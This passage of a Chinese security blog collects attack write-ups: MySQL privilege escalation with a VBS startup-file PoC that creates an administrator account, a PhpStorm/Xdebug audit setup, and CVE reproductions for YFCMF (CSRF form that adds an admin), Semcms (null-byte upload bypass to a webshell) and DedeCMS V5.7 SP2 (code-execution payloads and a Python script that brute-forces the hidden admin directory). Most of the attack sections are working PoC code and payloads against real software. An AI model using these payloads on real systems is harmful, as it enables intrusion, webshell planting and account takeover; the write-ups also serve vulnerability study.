可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

net.exe user localgroup administrator hpdoger /add\

关于Mof提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

启动项提权

在前两种方法都失败时,那可以试一下这个苟延残喘的启动项提权..因为要求达到的条件和mof几乎一样,并且要重启服务,所以不是十分推荐。原理还是使用mysql写文件,写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以使用DDOS迫使服务器重启。

提权条件

file_priv 不为null
已知root密码

poc

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

总结

还有很多cve这里没有复现到。Mysql提权在如今被各种因素限制,但掌握这一门技术或多或少对我们都还是有所帮助的

Phpstorm + phpstudy + Xdebug代码审计环境

写在前面

硬着头皮挖了一些,也算是完成了之前一个月内出cve的任务:
1、YFCMF:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16431
2、SQL in Bluecms1.6:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16432
3、XSS in Semcms:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16433
4、SQL in Semcms:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16434

但想学好代码审计还有很长的路要走,勿忘初心,开始正题~

搭建环境

安装php_xdebug.dll

phpstudy自带各版本的xdebug.dll插件

在相应目录,如5.6.27版本下的在:phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll

配置php.ini

php.ini在相应目录,如5.6.27版本下的在:\phpStudy\PHPTutorial\php\php-5.6.27-nts\php.ini

在Xdebug部分加如下内容:

[XDebug]
zend_extension="D:\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll"
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_port = 9000
xdebug.idekey = PHPSTORM

zend_extension:插件地址
xdebug.remote_port = 9000 : Xdebug监听地址
xdebug.idekey = PHPSTORM: idekey名称(与后面设置对应)

设置php解释器

![](Delete Link
https://i.loli.net/2018/08/25/5b8157cb1f00f.png)

这里我用的是5.6.27版本的

设置xdebug参数

Debug里设置监听地址:

接着设置代理:

配置Debug

运行–>编辑配置

Defaults–>Web Page

新增一个服务端,填写信息如图,要点击应用和确认

回到上级页面后别忘了选择刚才添加的server

浏览器安装debug插件

下面我是使用火狐的插件xdebug-ext进行调试,因为审计用得比较多的就是火狐了插件多

IDE key也要对应上我们的配置:

调试测试

新建一个工程

浏览器开启debug

在需要debug的页面点击右上图标为红色时:

设置断点

phpstorm开启debug

点击右上角的小电话开启,再点左边的绿色甲壳虫图标进行调试

传参后看结果

Csrf in YFCMF 3.0

Explain

The background administrator adds CSRF to the page, causing other administrator accounts to add.

Poc

<html>
    <form action="/YFCMF/admin/admin/adminsave.html" method="post">
        <select name="group_id" required="">
            <option value="2"/>
        </select>
        <input name="username" value="csrf" type="hidden"/>
        <input name="password" value="123" type="hidden"/>
        <input name="email" value="csrf@1.com" type="hidden"/>
        <input name="realname" value="csrf" type="hidden"/>
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>

Reappearance

1、View original users

2、Accessing structured CSRF pages

3、Successfully added

Arbitrary File upload in Semcms V2.7

Explain

php Background pages restrict the type of uploaded files, jpe, gif, rar,we can break through the restrictions on uploading malicious files such as: PHP.

Code

The affected code(located:/ciuy_Admin/SEMCMS_Upfile.php):

$newname=test_input($_POST["wname"]).".".end($uptype)

We could control the “wname” as we want,and uptype is the suffix which intercepted in allow

Founction

The attaking founction:use char(0) to cut off the filename and make up a renew suffix

The affected page located in admin’s management page:ciuy_Admin/SEMCMS_Upfile.php

Reappearance

First,we define our evil php’s suffix as test.rar(which is allowed) and post it as follow.There,we could see no files in the Folder

Second,we change the php as php0x00 and the effection as :

final effection and poc:

Then, we could see the test.php in the folder:

Finally, we could use tools (Cknife) to link the evil php

summary

This is a background getshell process. The required PHP version is less than 5.3

Dedecms V5.7 SP2代码审计

声明

首发于安全客:代码审计入门级DedecmsV5.7 SP2分析复现

索引

Dedecms的洞有很多,而最新版的v5.7 sp2更新止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后,偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正

环境:

php5.45 + mysql
审计对象:DedeCMS V5.7 SP2
工具:seay源码审计

后台代码执行

漏洞描述

DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell

代码审计

漏洞位置:dede/tpl.php

看一下核心代码:

# /dede/tpl.php
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');

$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}

因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content

action=savetag时,进行csrf()检测

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

验证token和已知的session是否相等,那么token的值从何获取呢?

回溯tpl.php,追踪一下token:

else if ($action == 'upload')
{
        ....
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value='{$_SESSION['token']}'  />
        <input name='upfile' type='file' id='upfile' style='width:380px' />
}

当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~

$truefile = DEDEINC.'/taglib/'.$filename;

传入的filename必须为 xxxx.lib.php,并且保存的也是php文件

    fwrite($fp, $content);
    fclose($fp);

写入内容为$content…那岂不是为所欲为..
poc:

http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content=<?php phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa

在include/taglib下会产生相应xxx.lib.php

后台代码执行Getshell

代码审计

问题代码位于:/uploads/plus/ad_js.php

 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp); 
}
include $cacheFile;

摘出关键语句:

if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

要求$nocache存在,又可以利用前面的全局变量注册

往下走Getone()函数进行sql查询,返回一个结果集。

而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。

接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。

但是这里我只看了这一个文件,现在整理一下思路:
1、给出一个$aid进行sql查询
2、根据查询值判断\写文件,且文件内容可控,目录已知
3、最后把写入的文件包含进来。

那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php

一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据

看到这里知道,清楚exbody和normbody对应的都是什么了

依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,那么直接是取$adbody = $row['normbody'];其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0

ok 现在思路明确,开始复现

复现

我们已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.php?aid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句
payload:

hpdoger=echo '-->'; phpinfo();

winapi查找后台目录

利用条件

1、win系统下搭建的网站
2、网站后台目录存在/images/adminico.gif

基础知识

windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

审计

核心文件:common.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

追踪uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}

摘出这句:

 $image_dd = @getimagesize($$_key); 

进行判断$$_key是否为图片或图片是否存在

然而$$_key的来源是$_FILES[$_key][‘tmp_name’],上文说了全局变量注册,$FILE可控,那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控,此处是产生了一个变量覆盖的

接着再看同文件的代码

    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

其中,$cfg_not_allowall的范围如下:

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

既然上传的name不让以这些结尾,那么我们查.gif不过分吧

找一处验证以下这个核心文件产生的小漏洞:

POC

_FILES[hpdoger][tmp_name]=./ded<</images/adminico.gif&_FILES[hpdoger][name]=0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif

这个poc根据mochazz师傅的poc练手写的,膜mochazz师傅~:

# -*- coding: utf-8 -*-
from itertools import permutations
import requests

def guess_back_dir(url,data,characters):
    for num in range(1,5):
        for every in permutations(characters,num):
            payload = ''.join(every)
            data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
            print("testing:",payload)
            r = requests.post(url,data = data)
            if find_page(r) > 0:
                print("back_dir:[+]",payload)
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                return payload
            data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"

def guess_rest_dir(back_dir,url,data,characters):
    while True:
        for singel in characters:
            if singel != characters[-1]:
                data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
                r = requests.post(url,data = data)
                # print data
                if find_page(r) > 0:
                    print("guess successfully[+]:",back_dir)
                    back_dir += singel
                    data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                    break
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
            else:
                return  back_dir

def find_page(response):
    if "Upload filetype not allow !" not in response.text and response.status_code == 200:
        return 1

def main():
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    url = raw_input("Please input your target:")
    data = {
        "_FILES[hpdoger][tmp_name]": "./{p}<</images/adminico.gif",
        "_FILES[hpdoger][name]": 0,
        "_FILES[hpdoger][size]": 0,
        "_FILES[hpdoger][type]": "image/gif"
    }

    back_dir = guess_back_dir(url,data,characters)
    name = guess_rest_dir(back_dir,url,data,characters)
    print("The background address is[+]:",name)


if __name__ == '__main__':
    main()

最后穿插一个关于FILE变量的小知识点

$_FILES[“file”][“name”] - 被上传文件的名称
$_FILES[“file”][“type”] - 被上传文件的类型
$_FILES[“file”][“size”] - 被上传文件的大小,以字节计
$_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
$_FILES[“file”][“error”] - 由文件上传导致的错误代码

相关链接

代码审计之DedeCMS V5.7 SP2后台存在代码执行漏洞(https://mochazz.github.io/2018/03/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BDedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89/)

奇技淫巧 | DEDECMS找后台目录(https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/)

膜前辈师傅们~

not found!